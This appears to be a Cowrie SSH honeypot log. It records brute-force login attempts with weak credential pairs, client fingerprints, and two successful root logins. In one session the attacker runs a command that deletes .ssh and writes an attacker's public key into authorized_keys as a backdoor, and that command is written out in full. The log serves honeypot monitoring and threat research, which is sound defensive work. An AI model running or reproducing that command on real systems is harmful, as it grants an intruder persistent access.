{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:23.261020Z","src_ip":"2.57.122.208","session":"93a170dfe10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:23.835824Z","src_ip":"2.57.122.208","session":"93a170dfe10f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:24.942738Z","src_ip":"2.57.122.208","session":"93a170dfe10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":45862,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fc7c2c28d04","protocol":"ssh","message":"New connection: 159.223.94.92:45862 (159.203.135.109:22) [session: 6fc7c2c28d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:26.228700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:26.232727Z","src_ip":"159.223.94.92","session":"6fc7c2c28d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:26.475098Z","src_ip":"159.223.94.92","session":"6fc7c2c28d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"123","message":"login attempt [nutanix/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:27.461286Z","src_ip":"159.223.94.92","session":"6fc7c2c28d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:28.704763Z","src_ip":"159.223.94.92","session":"6fc7c2c28d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":48524,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae3b9c1c9cb","protocol":"ssh","message":"New connection: 142.93.139.168:48524 (10.17.0.5:22) [session: 9ae3b9c1c9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:10.488138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:10.492031Z","src_ip":"142.93.139.168","session":"9ae3b9c1c9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:10.571275Z","src_ip":"142.93.139.168","session":"9ae3b9c1c9cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"1q2w3e4r5t","message":"login attempt [info/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:10.811120Z","src_ip":"142.93.139.168","session":"9ae3b9c1c9cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:11.892269Z","src_ip":"142.93.139.168","session":"9ae3b9c1c9cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56294,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ac6a29310de","protocol":"ssh","message":"New connection: 27.119.7.6:56294 (10.17.0.5:22) [session: 1ac6a29310de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:26.856825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:26.861330Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:27.084820Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Q!w2e3r4t5","message":"login attempt [root/Q!w2e3r4t5] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:27.898850Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:28.308891Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:28.312331Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:28.316015Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:28.658873Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.086904Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.089715Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.277515Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.280712Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9cded5286e7","protocol":"ssh","message":"New connection: 27.119.7.6:56302 (10.17.0.5:22) [session: e9cded5286e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.458699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.462463Z","src_ip":"27.119.7.6","session":"e9cded5286e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:29.649685Z","src_ip":"27.119.7.6","session":"e9cded5286e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:30.447835Z","src_ip":"27.119.7.6","session":"e9cded5286e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:31.665064Z","src_ip":"27.119.7.6","session":"e9cded5286e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56308,"dst_ip":"10.17.0.5","dst_port":22,"session":"623d76f261d5","protocol":"ssh","message":"New connection: 27.119.7.6:56308 (10.17.0.5:22) [session: 623d76f261d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:31.936980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:31.950811Z","src_ip":"27.119.7.6","session":"623d76f261d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:32.133212Z","src_ip":"27.119.7.6","session":"623d76f261d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:32.955592Z","src_ip":"27.119.7.6","session":"623d76f261d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:33.142425Z","src_ip":"27.119.7.6","session":"1ac6a29310de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:12:33.146926Z","src_ip":"27.119.7.6","session":"623d76f261d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":53818,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7dcdba4b5ef","protocol":"ssh","message":"New connection: 159.223.94.92:53818 (159.203.135.109:22) [session: d7dcdba4b5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:18.902930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:18.907271Z","src_ip":"159.223.94.92","session":"d7dcdba4b5ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:19.166924Z","src_ip":"159.223.94.92","session":"d7dcdba4b5ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscommerce","password":"123456","message":"login attempt [oscommerce/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:20.180314Z","src_ip":"159.223.94.92","session":"d7dcdba4b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:21.426542Z","src_ip":"159.223.94.92","session":"d7dcdba4b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49660,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ad760c888f","protocol":"ssh","message":"New connection: 2.57.122.208:49660 (10.17.0.5:22) [session: b6ad760c888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:33.512887Z"}
